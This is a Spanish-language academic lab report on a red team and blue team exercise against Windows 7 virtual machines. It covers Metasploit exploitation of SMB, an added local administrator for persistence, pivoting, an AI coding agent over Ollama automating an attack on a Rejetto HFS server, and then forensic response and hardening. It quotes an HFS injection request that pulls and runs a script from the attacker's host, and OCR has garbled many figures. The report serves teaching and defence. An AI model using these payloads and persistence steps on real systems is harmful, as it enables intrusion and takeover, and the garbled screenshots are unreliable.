Name Current Setting Required Description
EXITFUNC thread Exit technique (Accepted: "', seh, thread, process, none)

LPORT I
RHOST 10.10.0.100 The target address

Exploit target:

View the full module info with the info, or i command .

Nota. Se muestra la configuracion del exploit y el payload para la vulnerabilidad encontrada en

el HOST-B.

Posteriormente, se procede a ejecutar el exploit seleccionado contra la maquina objetivo,
aprovechando la vulnerabilidad SMB en el puerto 445/TCP previamente identificada. La
explotacion se realiza de manera satisfactoria, logrando comprometer el sistema objetivo y
obteniendo acceso remoto no autorizado sobre el HOST-B. Como resultado se establece una
sesion de Meterpreter sobre la maquina victima, como lo ilustra la figura 26. Esta sesion
proporciona una consola interactiva avanzada que opera en memoria, permitiendo ejecutar
multiples acciones de post-explotacion sin necesidad de escribir archivos adicionales en el disco
del sistema comprometido. Esto reduce la probabilidad de deteccion inmediata por los

mecanismos tradicionales de seguridad.
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Figura 26

Explotacion exitosa de la vulnerabilidad

msf exploit(

10.10.0. 5 Like RAB M ! 7 ce Pack 1 x64 (64-bit)
10.10.0.
10
loitation.
loitati

10.10.0. 5 5 3

10.10.8. 5 a Js e = id f arch indicated by DCE/RPC reply
1@. . 5 g exploi T llocations.

10 £ 5 endi all 1 f exploit packet

buffer.

- rted
Sending
10

-1
-1
Tl
p.1

bi
a1
11
1

10 -B.
Meterpreter sessi 3 ened (Local e /ia se ) a 5—24 2 6:14 —-Q400

meterpreter > ipconfig

Nota. Se muestra una ejecucion exitosa del exploit en el HOST-B, abriendo una sesion de

meterpreter en el objetivo.

El establecimiento exitoso de esta sesion confirma que la vulnerabilidad explotada es
funcional y representa un riesgo critico para la seguridad del entorno analizado. Demuestra la
posibilidad de obtener acceso remoto al sistema sin autorizacion, en el cual se verifica
inicialmente la direccion IP, que coincide con la que se configurd a la maquina virtual Windows7
denominada HOST-B, es decir, 10.10.0.100/16. La figura 27 muestra el resultado del comando

ipconfig que verifica la configuracion de red.
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Figura 27
Configuracion IP del HOST-B

1PV
1PV
1PVE
IPv6

 ISATAP de Microsoft

100

IPv4 Address : 10.10.0.100
IPv4 Netmask : 255.255.0.0
IPv6 Add: : f

IPv6 Net

Nota. se muestra la configuracion IP de la méaquina victima HOST-B, desde la consola de

meterpeter en la maquina atacante.

Una vez obtenida la sesion remota sobre el sistema comprometido, se realizan acciones
de post-explotacion orientadas a mantener el acceso persistente en el HOST-B. Para ello, se crea
un nuevo usuario local en el sistema con el nombre carlos.sanchez y la contraseia abcl23,
utilizando privilegios administrativos obtenidos durante la explotacion. La creacion de cuentas
no autorizadas constituye una de las técnicas de persistencia mas comunes empleadas por
atacantes después de comprometer un sistema. Esto permite conservar acceso al equipo incluso si
la vulnerabilidad inicial es corregida o la sesidon remota original es cerrada. De esta manera, el
atacante puede volver a ingresar posteriormente al sistema utilizando credenciales aparentemente

legitimas. Una vez creada la cuenta, el usuario es agregado al grupo local de administradores del
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sistema operativo, otorgandole privilegios elevados sobre el equipo comprometido, como se

muestra en la figura 28.

Figura 28

Creacion de usuario administrador en el HOST-B

> shelll
command: shelll. Did you mean shell? Run the help command for more details.
> shell

sien 6.1.7601]
rosoft Corporation. Reservados todos los derechos.

net user
Cuentas de usuario de \\
Administrador carlos.sanchez Invitado

usuario
El comando se ha completado con uno o m#s errores.

:\Windows\sys ; C ini carlos.sanchez /add
net localgroup Administr: r
Se ha completado el comando co

C:\Windows\system32>net user groups
et user groups
No se ha encontrado el nombre de usuario.

Puede obtener mes ayuda con el comando NET HELPMSG

Nota. Se observa la creacion de un usuario que se ingresa en el grupo de administradores del

sistema operativo comprometido.

Para comprobar que se ha creado una cuenta de usuario con privilegios de administrador
en el sistema operativo del host, se verifica la configuracion de usuarios directamente en la

maquina virtual configurada, tal como se muestra en la siguiente 29.
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Figura 29
Usuario creado en el HOST-B
&

-

A Administracién de equipos
Archive  Accién  Ver Ayuda

s | XE= H Propiedades: carlos.sanchez
A Administracién del equipe (log | Nombre Ne

i i i -
a [[} Herramientas del sistema ¥, Administrador

> @ Programador de tareas Migmbro de:
@ Visor d : & carlos.sanchez —
- B C|50re)ce even osrt.d & HomeGroup.. Ho & Eclmln‘lstmdores
> [l Carpetas compartidas ) Invitado Bl Usuarios
a P Usuarios y grupos local||
[ Usuarias & usuario
| Grupes

> IZ%‘E@] Rendimiento
&= Administrador de dispo

4 =5 Almacenamiento
=% Administracion de disce

Nota. Se muestra en la consola de administracion de usuarios de Windows 7 del HOST-B, el

usuario creado y la pertenencia al grupo de administradores.

Con el acceso persistente establecido, un atacante podria posteriormente ejecutar otras
tareas maliciosas sobre el sistema comprometido. Estas tareas incluyen la instalacion de puertas
traseras, la extraccion de informacion sensible, la ejecucion de software malicioso, la
desactivacion de herramientas de seguridad, el escalamiento de privilegios o el establecimiento

de canales de comunicacion remota permanentes dentro de la infraestructura afectada.

Herramientas de Software Utilizadas

Para realizar el laboratorio, en el software de virtualizacién VirtualBox, se configuran
distintos sistemas operativos como Windows 7 y Kali Linux, donde se utiliza las siguientes
herramientas de software.
Nmap

Esta aplicacion se ejecuta desde el sistema Kali Linux. Las figuras 7, 8 y 9 muestran los

comandos utilizados desde el software de escaneo Nmap y los resultados asociados.
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Nessus

Las figuras 10, 11 y 12 muestran el proceso realizado con este software de escaneo de
vulnerabilidades y los resultados que se obtienen.
OpenVas

La figura 13 muestra el proceso que se realizo con el software de escaneo de
vulnerabilidades OpenVas, incluyendo los resultados entregados.
Metasploit

Se utilizd el framework de Metasploit desde el sistema Kali Linux para este laboratorio.
Desde la figura 14 hasta la figura 21, se puede ver el software de Metasploit ejecutdndose desde
el sistema Kali Linux, donde se observan los comandos utilizados y los resultados arrojados.
Identificacion del Fallo de Seguridad en el HOST-A

En la informacion entregada en el anexo, se puede observar que en el HOST-A existe una
aplicacion vulnerable. Esta vulnerabilidad puede permitir a un atacante realizar un movimiento
lateral o pivote para escanear otros segmentos de red dentro de la organizacion, lo que permite
buscar mas dispositivos y sistemas vulnerables.

Para identificar el fallo de seguridad del HOST-A con Windows 7, se utilizo el software
de escaneo Nmap desde el sistema Kali Linux. Cuando se verifica el resultado del escaneo, se
detecta que el sistema tiene cuatro puertos abiertos y la aplicacion vulnerable se encuentra
expuesta por el puerto TCP/80 http. En las figuras 7, 8 y 9 se puede apreciar el escaneo y el
descubrimiento de esta vulnerabilidad.

Explicacion del Ataque

Este ataque puede afectar de manera significativa el sistema Windows 7 comprometido,

ya que la vulnerabilidad del software Rejetto HFS instalado, que expone el servicio web por el

puerto 80/TCP, se puede explotar de tal forma que entrega una SHELL o linea de comandos con
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privilegios elevados. Después de realizar la explotacion, se puede extraer informacion, crear
usuarios con permisos administrativos e instalar software malicioso para garantizar persistencia.
A partir de este sistema comprometido se puede realizar un movimiento lateral hacia otros
sistemas de la red, aunque no estén en el mismo segmento de red del atacante. La figura 30

ilustra el diagrama de red y el concepto del ataque.

Figura 30

Diagrama de red del laboratorio

%7 10.10.0.90
192.168.56.115 é b
Yoo 192.168.56.109 . 3 Wlndows 7
HOST-A

praav® il
) nicid!
Equipo v
atacante (aaaa-]
Kali Linux 2026.1 4

Movimiento
lateral o

Pivot v‘

Windows 7 'kl" 10.10.0.100

HOST-B

Nota. Se muestra la topologia de red y el concepto del ataque a los sistemas Windows 7.
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Automatizacion del Ataque al HOST-A con IA

En este apartado se aborda la implementacion de técnicas de automatizacion aplicadas a
pruebas de penetracion mediante el uso de herramientas de inteligencia artificial con Claude
code y Ollama, desde el sistema Kali Linux. El objetivo es integrar capacidades de generacion y
analisis automatizado dentro de un flujo de ataque controlado, permitiendo optimizar tareas
propias de un ejercicio de Red Team, tales como el reconocimiento, la enumeracion de servicios,
la explotacion, la post-explotacion y el reporte del flujo de trabajo en un directorio del sistema.

El uso de Ollama permite la ejecucion local de modelos de lenguaje, lo que aporta
independencia de servicios externos y mayor control sobre la informacion procesada. Por otro
lado, Claude code se emplea como asistente para la generacion y ejecucion de comandos,
interpretacion de resultados y apoyo en la toma de decisiones durante el desarrollo del ataque. La
combinacion de estas herramientas permite construir un flujo semi-automatizado que reduce la
intervencion manual sin eliminar la supervision técnica.
Procedimientos Implementados

Inicialmente se deben instalar los paquetes de software Ollama y Claude code en el
sistema Kali Linux siguiendo el proceso documentado en el sitio web de Ollama para Claude
code. (Awan, 2026). Posteriormente, se procede a inicializar el modelo de lenguaje de gran
tamafio (LLM) ejecutado mediante Ollama desde la consola de comandos o Shell del sistema
operativo Kali Linux. Este proceso permite cargar el modelo de inteligencia artificial de manera
local dentro del entorno de pruebas, habilitando la interaccidn mediante instrucciones en

lenguaje natural desde la terminal del sistema. La figura 31 muestra estos procedimientos.
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Figura 31

Iniciando Ollama y Claude code en Kali Linux

Welcome back carlos!

Nota. Se muestra el promtp iniciado desde la consola de Kali Linux al ejecutar el comando
ollama launch claude que ejecuta Claude code sobre Ollama.

Desde este prompt se pueden proporcionar instrucciones en lenguaje natural para que la
inteligencia artificial implementada interprete las solicitudes del usuario y ejecute acciones
utilizando los comandos y herramientas de software disponibles en el sistema operativo Kali
Linux. Este enfoque permite interactuar con el entorno de pruebas de una manera mas
automatizada e intuitiva, reduciendo la necesidad de escribir manualmente cada comando técnico
requerido durante el proceso de andlisis o explotacion. La integracién de modelos de inteligencia
artificial con herramientas de ciberseguridad permite transformar instrucciones descriptivas en
secuencias de comandos orientadas a tareas especificas, tales como reconocimiento de red,
identificacion de vulnerabilidades, enumeracion de servicios, explotacion de fallos de seguridad
y ejecucion de actividades de post-explotacion. De esta manera, la IA actiia como una capa de
automatizacion que facilita la interaccion con el sistema operativo y las herramientas ofensivas
instaladas en el laboratorio. Para realizar un ataque automatizado hacia el HOST-A, se introduce
en el prompt de Ollama una descripcion detallada del procedimiento que se desea ejecutar.
(Awan, 2026). En la siguiente imagen se muestra el prompt utilizado en Ollama, donde se
especifica el proceso completo que la A debe ejecutar para realizar el ataque automatizado

contra el HOST-A dentro del entorno controlado del laboratorio. (Arango Serna, 2026).
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Figura 32

Instrucciones para lanzar el ataque automatizado con 14

Nota. se muestra la instruccion dada a la [A de Ollama y Claude code para iniciar el proceso
automatizado del ataque a la maquina victima 192.168.56.109.

Se observa que la IA comienza a ejecutar el trabajo solicitado de forma automatica,
realizando el escaneo, la enumeracion y la explotacion de la maquina objetivo usando varios
elementos del software que vienen preinstalados en el sistema operativo Kali Linux, como
Nmap, enum4linux, smbclient, curl y msfconsole. Se puede comprobar entonces que con el uso
de inteligencia artificial, se logran automatizar estos procedimientos desde la perspectiva de un
Red Team. La figura 33 muestra un resumen del proceso realizado por la IA de Ollama y Claude

code luego de explotar la vulnerabilidad.



Figura 33

Resultado del escaneo y explotacion con 1A
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Nota. Se puede observar el ataque de forma automatica, donde se muestran los procedimientos
de reconocimiento, escaneo, explotacion y post-explotacion de la vulnerabilidad.

Adicionalmente como se le indica en las instrucciones dadas a la IA, se guarda cada paso
ejecutado en archivos de texto, dentro de en un directorio que se nombra con la direccion IP del
sistema atacado. Esto se hace con el fin de tener las evidencias guardadas, llevando un orden del
flujo de trabajo realizado. La figura 34 muestra el contenido de la carpeta donde se almacenaron
los archivos de texto creados por la IA durante el proceso de ataque automatizado.

Figura 34
Listado de archivos creados por la IA durante el ataque

S omP o

File Edit View Go Bookmarks

< ™ M Q search: Q

Places Name Size Type ~ Location

2= Computer . c_share.txt 72 bytes Plain text document 192.168.56.109

& cess . enumdlinux.txt 4.9KiB Plain text document 19 8.56.109
Desktop . exploit_hfs.rc 99 bytes Plain text document
Recent . exploit_output.txt 228 bytes Plain text document 192
Trash B exploit_output2.txt 1.3KiB Plain text document
Documents . hfs_echo.txt 3.8 KiB Plaintextdocument

It . hfs_exploit.rc 131bytes Plain text document -
Pictures

. hfs_test2.txt 3.8 KiB Plain text document
Videos

5 - . hfs_tpllist.txt 3.8KiB Plain text document
Jownloads
. hfs_whoami.txt 3.8 KiB Plaintext document

Devices
. http_root.txt 3.7KiB Plain text document -

B
D VI
E sf_Downloads

Network
[ Browse Network . module_options2.txt 1.2KiB Plain text document

. ipc_ls.txt 62 bytes Plain text document
. meterpreter_exploit_output.txt 2.1KiB Plain text document
. module_options.txt 1.2KiB Plain text document

. msf_output.txt 1.3KiB Plain text document -

B msf_output2.txt 2.1KiB Plain text document

. msf_output3.ixt 2.8 KiB Plaintext document

. msf_search.txt 1.1KiB Plaintext document -

. nmap_initial.txt 1.2KiB Plain text document

. shell_exploit.rc 217 bytes Plain text document 192.

shell_exploit2.rc 228 bytes Plain text document
Nota. Se muestran los archivos generados por la IA durante los procedimientos del ataque

automatizado.



Time Line Forense

Se realiza un time line forense que describe los pasos realizados en el ataque a la red de

SecureNova Labs, como se muestra en la siguiente imagen.

Figura 35

Time Line Forense
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Un atacante se logra infiltrar en

IPor medio de herramientas de

Descubre una vulnerabilidad en |
un sistema windows 7 que |

Explota la vulnerabilidad y toma ‘

' pivoting de red desde el equip

. lcomprometido escanea otros

|comprometido

dispositivos en un segmento de
red diferente

—

la red LAN de la organizacion realiza un de Siociita ol softwars HE S paeito control total del sistema en una
SecureNova Labs ] |la red y los servicios expuestos sjoec " P SHELL con privilegios elevados
Realiza un movimiento lateral o (A través del sistema windows Descubre otro equip |

que tiene un servicio

en el puerto 445, protocolo SMB

en el protocolo SMB,
puerto 445

Intenta explotar la vulnembilidad‘

|Extme informacion de los
sistemas vulnerables

Nota. Se muestra un time line forense del proceso de ataque a la red de SecureNova Labs.
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Intervencion del Blue Team
Se trabajara con las maquinas virtuales Windows 7 y Kali Linux ya configuradas en el
trabajo anterior. Este laboratorio se inicia con el proceso de ataque en curso ejecutado desde el
Red Team. Ya se ha explotado la vulnerabilidad encontrada sobre el puerto 80 del HOST-A, del
software Rejetto HFS. Desde la consola de comandos del framework Metasploit, ya se ha ganado
acceso a una Shell con privilegios elevados de meterpreter y se ha creado el tinel con autoroute
hacia el HOST-B. La figura 36 muestra dicha condicion.

Figura 36

Ataque realizado por el Red Team

msf post( ) > set session 1

session = 1

msf post( ) > set subnet 10.10.0.0

subnet = 10.10.0.0

msf post( ) > set netmask 255.255.0.0

netmask = 255.255.0.0

msf post( ) > run
Running module against PC202006 (192.168.56.109)
Searching for subnets to autoroute.
Route added to subnet 10.10.0.0/255.255.0.0 from host's routing table.
Route added to subnet 192.168.56.0/255.255.255.0 from host's routing table.
Post module execution completed

msf post( ) > sessions -i 1
Starting interaction with 1 ...

meterpreter > shell

Process 2712 created.

Channel 2 created.

Microsoft Windows [Versien 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Users\usuario\Downloads\Rejjeto_123456>ipconfig
ipconfig

Configuracien IP de Windows

Adaptador de Ethernet Conexien de erea local 2:

Sufijo DNS especefico para la conexien.

Venculo: direccien IPv6 local. . . : fe80::e82f:e29a:4435:7b3b%13
Direccion IPVE. o o o v o o« o er v e« s 2.10.10.0.90

Mescara de subred . . . . . . . . . . . . : 255.255.0.0

Puerta de enlace predeterminada -

Adaptador de Ethernet Conexien de erea local:

Sufijo DNS especefico para la conexien. -

Venculo: direccien IPv6 local. . . : feS80 :7519:6313:5f9e%11
DireCCion TPV . . e e = .168.56.109
Mescara de subred; o el e et = oA 25527 255.0

Puerta de enlace predeterminada -

Nota. Se muestra el ataque en curso desde el Red Team ejecutado sobre el HOST-A.
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Actividad del Equipo Blue Team

Inicialmente se debe contener la maquina afectada para frenar la propagacion y preservar
evidencia, mientras se verifica qué proceso, usuario, puerto o servicio esta disparando la
actividad maliciosa. Simultdneamente se deben revisar los indicadores inmediatos como
conexiones activas, procesos sospechosos, persistencia, cambios en cuentas, tareas programadas
y logs del sistema y de red, ya que durante un ataque en tiempo real la prioridad es reducir el
impacto antes de profundizar en el andlisis. El argumento técnico frente a este tipo de incidencias
es que, si no se corta la comunicacion, el atacante puede seguir exfiltrando datos y/o desplegar
programas malignos o payloads adicionales en los sistemas comprometidos.

Para este laboratorio se realizan las siguientes actividades a partir del ataque iniciado por
el Red Team, teniendo en cuenta los pasos técnicos que se deben seguir al encontrarse ante este
tipo de incidentes informaticos.

Lo primero que se debe realizar ante la sospecha de un incidente de seguridad es la fase
de identificacioén y contencion inicial, con el fin de preservar la evidencia digital y limitar el
alcance del posible ataque. En este tipo de situaciones es fundamental no apagar la maquina
comprometida, debido a que la memoria RAM puede contener evidencia volatil critica
relacionada con el incidente. En memoria se pueden encontrar procesos maliciosos en ejecucion,
conexiones de red activas, credenciales temporales, claves de cifrado, comandos ejecutados y
artefactos que podrian perderse de manera irreversible al apagar el sistema. En todo caso para
reducir el impacto y evitar la propagacion del ataque dentro de la infraestructura de la
organizacion, es necesario desconectar la maquina de la red. Para revisar si el HOST-A ha sido
comprometido, se revisan las conexiones activas desde el CMD con el comando netstat -oan

como se muestra en la figura 37.
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Figura 37

Comando netstat -oan en el HOST-A

B B Seleccionar Administrador: Simbelo del sistema | = || =} |@
= q
:: Estado de los medios. . . . . . . . . . . medios desconectados

Sufijo DNS especifico para la conexidn.

C:\Userssusuario’netstat —oan
Conexiones activas

:ccidn remota Estado
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENIHNG
LISTENING
LISTENING
ESTABLISHED
LISTENING
LISTENIHNG
LISTENING
LISTENING
LISTENING
LISTENING
LISTENIHN
LISTENIN
LISTEHIHN

Direccidn local
.8.8.8:88

=135

: 445

:554

2869

5357
:10243
42152
49153
47154
49155
42156
.98:139
.56.189:139
.56.189:49163

@
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i

-78:1968
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¢ 3.8.1:52438

i -1:61885
.56.189:137

172.168.56.189:138

122.168.56.182:19608

Nota. Se muestra la conexion establecida desde la méquina atacante hacia el HOST-A.
Se puede observar en el resultado del comando anterior, una conexion de red sospechosa
desde la direccion IP 192.168.56.115, en el puerto 4444, que ejecuta el ID de proceso 1672. Se

revisan las tareas en la consola con el comando fasklist con el fin de verificar cual fue el archivo
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ejecutable abrio dicho proceso. Se encuentra un nombre de archivo bastante inusual como se

muestra en la figura 38.

Figura 38

Ejecucion del comando tasklist

2 BN Seleccionar Administrador: Simbaolo del sistema o[- |@
=

-~
E C:\Userssusuario>tasklist

Mombre de imagen

System Idle Process
System

ervices.exe
lsass.exe
lsm.exe
suchost.exe
UBoxService .exe
-exe
-exe
-exe
-exe
suchost.exe
suchost.exe
.exe
-EXE

explorer.exe
taskhost .exe
suchost.exe
UBoxTray.exe
Searchlndexer.exe

1548
1976
conhost.exe 2248

Services
Services
Services
Services
Console

Services
Console

Services
Services
Services
Services
Services
Services
Services
Services
Services
Services
Services
Services
Services
Console

Console

Console

Services
Console

Services
Console

Services
Services
Services
Console

Console

oD oo

de ses

- H P QeFIFHHFHOAeEeEeEEeHaEHaEaae®

Uso

wscript .exe 2632 Console -
cGhullf Ku.exe 1622 Console

6.324 KB

Nota. Se muestra el resultado del comando tasklist en el HOST-A y se nota un proceso con

nombre muy inusual.

Se busca en el explorador de archivos del sistema el nombre del archivo ejecutable

sospechoso y se encuentra en la carpeta Temp del usuario que ha iniciado sesion en el sistema.

La siguiente imagen muestra el resultado de la busqueda en el disco local C:\ del HOST-A.



Figura 39

Busqueda del archivo sospechoso en el HOST-A
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o [@]]
@Q-I,» » Resultados de la biisqueda en Disco local (C) » « [ 44| [ zeGhywtkw
Organizar v Guardar basqueda * [
b P Nombre Fecha de modifica... Tipo Tamafio Carpeta
& Descargas || ZCGHYWFKW, EXE-6BAOEST3 pf 08/05/2026 08:51 Archivo PF 20KB  Prefetch (C:\Windows
Bl Escritorio EchhnyKw.eue 08/05/202608:51...  Aplicacién 7KB  rad36EAE tmp (C:\Usuarios\usuario\AppData\Local\Temp,

1, Sitios recientes

4 Bibliotecas
" Documentos

& Imagenes

Buscar de nuevo en:

(4 Bibliotecas & Grupo en el hogar (Ml Equipo | Personalizar... (@) Intemet o] Contenido del archivo

Nota. Se muestra el resultado de la busqueda del archivo ejecutable sospechoso en el explorador

de archivos del HOST-A.

Al detectarse que puede ser un programa maligno se procede a desconectar la maquina de

la red para evitar la exfiltracion de datos y los ataques post-explotacion desde el equipo

comprometido. La figura 40 muestra la desconexion de las interfaces de red del HOST-A en el

entorno virtualizado.

Figura 40

Desconexion de red del HOST-A

Sistema

@ Pantalla
Almacenamiento
({)3 Audio

& e

@ Puertos serie
D> use
-

@ General

Red
Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4
Habil 2
Conectado a:  Adaptador sélo anfitrion v
Nombre: VirtualBox Host-Only Ethernet Adapter
¥ Avanzado

Tipo de adaptador: Intel PRO/1000 MT Desktop (82540EM;

Modo promiscuo: Permitir todo

() cable conectado

El General
Sistema

@ Pantalla

@ Almacenamiento
(D:I Audio

@ Red

@ Puertos serie
L us

Farnatse Famasrbidse

Red

Adaptador 1 Adaptador 2 Adaptador 3

tador de red

Conectado a: Red interna

¥ Avanzado

Tipo de ¢

Nombre: intnet

Modo promiscuo: Denegar

o

() Cable conectado

Nota. Se muestra la desconexion de la red de la méaquina virtual HOST-A.

Adaptador 4
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También se utiliza la herramienta TCPView, para comprobar las conexiones existentes y
observar el PID que se estd comunicando con alguna direccion IP no autorizada. Con esto se
comprueba la existencia del proceso sospechoso, la conexion inusual encontrada y el archivo

ejecutable que abre dicha conexidn tal como se observa en la figura 41.

Figura 41

Ejecucion del software TCPview
—

«" TCPView - Sysinternals: www.sysinternals.com =0 =
File Edit View Process Connection Options Help

C O|BR| @|[A 7crw] B 0w 4 worw | 5 vorws | i 0 seor

Process Name ProcessID  Protocol  State Local Address Local Port Remote Address Remote Port Create Time Module Name

# hfs.exe 1992 Tce Listen 0000 80 0.0.00 0 hfs.exe

1 svchost.exe 732 TCP Listen 0000 135 0000 0 RpcSs

5 wmpnetwk.exe 1548 Tce Listen 0000 554 0.0.00 0 WMPNetworkSve

5 wininit.exe 39% Tce Listen 0000 49152 0000 0 wininit.exe

lsvchost.exe 828 TCP Listen 0000 49153 0.0.00 0 eventlog

R svchost.exe 896 TCce Listen 0000 49154 0.0.00 0 Schedule

lsass.exe 492 TCP Listen 0000 49155 0.00.0 0 Isass.exe

services.exe 484 TCP Listen 0.0.0.0 49156 0.0.0.0 0 services.exe

Bl 2cGhyWfKw.exe 1672 e Established  192.168.56.109 49163 19216856115 4444 2cGhyWfKw.exe -
5 System 4 Tcp Listen 0000 445 0000 0 System 1
] System 4 TCP Listen 0.00.0 2869 0.000 0 System

5 System B TCP Listen 0000 5357 0000 0 System

7 System 4 Tce Listen 0000 10243 0000 0 System

1 svchost.exe 732 TCPv6 Listen n 135 = 0 RocSs

Nota. Se muestra el software TCPview para comprobar las conexiones sospechosas y los

archivos maliciosos que se estan ejecutando en el HOST-A.

Se revisa el log de la aplicacion HFS y se detecta una conexion desde la direccion [P
192.168.56.115 a través de los puertos remotos 44289, 41557 y 8080, lo cual significa un intento
de explotacion remota contra el servidor HFS, donde el atacante est4 intentando ejecutar
comandos usando una vulnerabilidad conocida de HFS version 2.x.

La peticion GET
/?search=%A%url%:%host%}{.cookie|msEqKHz9UZPUBozLSQj4AjeLizA9YGow. ! =%version
%= inyecta cddigo en el parametro search, luego intenta que HFS descargue un script desde la
URL http://192.168.56.115:8080/P4IlmHS y lo ejecuta con Execute x.responseText. Estos

comandos descargan c6digo remoto que se ejecuta directamente en el servidor HFS logrando
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comprometer la maquina virtual HOST-A. En la figura 42 se muestra el log del servidor HFS y

las peticiones solicitadas desde la maquina atacante.

Figura 42
Log del servidor HF'S en HOST-A

&

B2 HFS ~ HTTP File Server 23 Build 288 =R =R
& Menu | 1} Port:80 | @4 You are in Easy mode

E Open in browser http://192.168.56.109/ Copy to clipboard
Virtual File System Log

Y
{.cookie|msEgqKHz9UZPUBozL SQj4AjeLizAIY Gor
ext

2611 Requested GET /?search=08:40:18 p.m. Check update: failed

Nota. Se muestra el log donde se evidencia la explotacion del servicio HFS en el HOST-A.

Se realiza una imagen forense de la memoria RAM del sistema comprometido con el
software winpmem, para proteger los datos volatiles en caso de que se apague el HOST-A. El
archivo de volcado de memoria obtenido durante el proceso de adquisicion forense es transferido
y almacenado en el sistema operativo Windows 11 que hospeda el entorno de virtualizacion
Oracle VM VirtualBox. Esta copia se realiza siguiendo procedimientos orientados a preservar la
integridad de la evidencia digital y evitar alteraciones accidentales o maliciosas sobre el archivo
original extraido del HOST-A. Es la evidencia digital que se utiliza posteriormente en caso de
presentarse un proceso legal de este incidente. Una vez almacenado el artefacto, se procede a
calcular la suma de verificacion criptografica mediante el algoritmo SHA-256. La figura 43

muestra el proceso de volcado de memoria y el calculo del hash del archivo extraido en sha256.
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Figura 43
Volcado de memoria RAM y hash del archivo

&

. . - |
W 86 . Sth. . v | 45 || Busco 36EAE.tmp yel
\ m

[E: rs\usuario\AppData\Local\Temp\pne2@0E. tnp

uario\ippData\Local\Tenp\pne20@E. tnp. [ Escritor = : Escrit .
~io\AppDatasLocalzTenp\pne2B8E. tnp [ Esciitorio » 49 || Buscar Escritori 2

: El programa lanz% un comando pero la longitud de
ar v Abrir Compartir con v Nueva carpeta ER (7}
tem e is: 16:14:22 a G S 2SI R
Unloaded. ortes lombre amafic ipo de element;

rio\Desktopduinpmen_mini_x64_»rc2.exe memHostf.raw escargas memHostA.raw

rs\usuario\AppData\Local\Tenp\pne?@87B. tmp scriterio 9 winpmem_mini_x64...

uario\AppDatasLocal\Tenp\pne?@7B. tnp. s recientes (& Firefox
«ario\AppData\Local\Tenp\pne767B. tnp 5] Papeiers de reciclsje

liotecas [ Panel de control

ocumentos  |= € Red
2 memory ranges:

Start @xP00A1000 — Length Bx8ROIEORG :

Start 6x0D1068600 ~ Length 6x7PEFGGA0 & windows Powershell

Inax_physical_memory_ 8x7ff 0000

ficquitision mode PTE Remapping Windows PowerShell

Padding fron 0x00B0B000 to OxHOOG1000 = 3 :

S i Copyright (C) Microsoft Corporation. Todos los derechos reservados.
Il - length: Ox1008

00 0x00000000 . Instale la version mas reciente de PowerShell para obtener nuevas caracter

copy_menory
rt: Bx1000
Bx9f 008

00, Bx0B001000
Padd]nq fron BxBBBIFEBE to DxBO10OHOO

fpad
- length: Ox61000

08 0x0BB9FAR0 .

@x7£ ££6008

icas y mejoras. https://aka.ms/PSWindows

PS C:\Users\Equipo> cd .\Downloads\

PS C:\Users\Equipo\Downloads> certutil.exe .\memHostA.raw sha256
SHA256 hash de .\memHostA.raw:
9c2f05d173c8758alef9037de7U5e1113775becfd3ceeellaed3b0710b81aal7

CertUtil: -hashfile comando completado correctamente.

PS C:\Users\Equipo\Downloads> |

00 Bx00100000
1392 Bx32100080
4108000

Nota. Se muestra el volcado de memoria volatil del HOST-A vy el calculo de la suma de

comprobacion hash sha256 del archivo extraido.

Desde el punto de vista de la seguridad defensiva se pueden realizar otros procedimientos
que dependen del tipo de incidente, entre los cuales se puede mencionar la revision del visor de
eventos del sistema comprometido, registros de autenticacion sospechosos, escalamiento de
privilegios, realizar copia forense del disco duro para futuras investigaciones, entre otras.
También se debe identificar qué equipos fueron afectados, las cuentas de usuario comprometidas,
las vulnerabilidades explotadas y qué servicios fueron impactados.

Medidas de Hardenizacion
En el caso que se estudia, para evitar que este mismo incidente se repita, se propone

endurecer el sistema con controles preventivos y de reduccion de la superficie de ataque. UNIR
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(2026) recomienda mantener actualizados los parches del sistema operativo y software de
terceros de forma priorizada, instalar y actualizar software antimalware, deshabilitar servicios
innecesarios y reducir privilegios administrativos. Realizar segmentacion de la red, configurar
reglas restrictivas de firewall, fortalecer la autenticacion con contraseias robustas, implementar
listas blancas de aplicaciones y control de ejecucion. Revisar los permisos NTFS,
comparticiones, acceso remoto y activar el monitoreo constante a través de un registro
centralizado con alertas. Considerando que el ataque Red Team tipicamente explotod un software
vulnerable con Metasploit/meterpreter sobre Windows, se recomienda realizar las siguientes
configuraciones adicionales. Actualizar el software HFS a su tltima version, deshabilitar
protocolos legados como SMBv1, LLMNR y NetBIOS para prevenir ataques de
envenenamiento. Implementar una politica de contrasefias con MFA, aplicar el principio de
minimo privilegio eliminando cuentas con privilegios excesivos y separando cuentas de
administracion de cuentas de uso cotidiano. Realizar segmentacion de red con VLANS para
separar estaciones de trabajo de servidores. Realizar configuraciones de firewall de host con
reglas de entrada/salida estrictas y mantener los sistemas Windows actualizados en un ciclo
mensual. Ejecutar una gestion de vulnerabilidades con OpenVAS, Nessus o un software similar
para identificar CVEs activos. Bloquear la ejecucion de binarios fuera de directorios autorizados
para evitar payloads en directorios temporales. Bloquear la ejecucion de scripts no firmados
activando ScriptBlock y Module logging.
Blue Team Vs CSIRT

Blue Team es el equipo de personas especialistas en seguridad informética que se encarga
de la defensa proactiva, la configuracion de firewalls, el endurecimiento de sistemas y la
deteccion y mejora constante de la seguridad. Es un equipo permanente de defensa encargado de

monitorear, prevenir, hardenizar y realizar la mejora continua de la seguridad. Tiene una funcion
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preventiva y continua que monitorea 24/7 la infraestructura, gestiona los sistemas SIEM, aplica
hardenizacion, realiza andlisis de vulnerabilidades y configura controles de seguridad que operan
todo el tiempo, no solo cuando hay incidentes, siendo su objetivo que los ataques no prosperen.

Basicamente, el Blue Team es el equipo defensivo permanente que disefia, monitorea y
mejora la postura de seguridad de la organizacion y su trabajo incluye deteccion, prevencion,
hardenizacion, observabilidad y mejora continua de los controles. (Intelequia, 2026).

El equipo de Respuesta a Incidentes (CSIRT/CERT) es una unidad reactiva 'y
especializada cuya funcidn principal se activa cuando una amenaza ya ha superado las defensas.
Se centra en la fase de crisis, contencion, erradicacion, recuperacion y andlisis forense post-
mortem. Elabora el informe posterior al ataque y registra las lecciones aprendidas. Este equipo
entra con mas fuerza cuando ocurre un evento confirmado o sospechoso y su foco es contener,
erradicar, recuperar y aprender del incidente. Aunque ambos equipos trabajan en ciberseguridad
defensiva, sus funciones son diferentes. El Blue Team Trabaja de forma preventiva y continua,
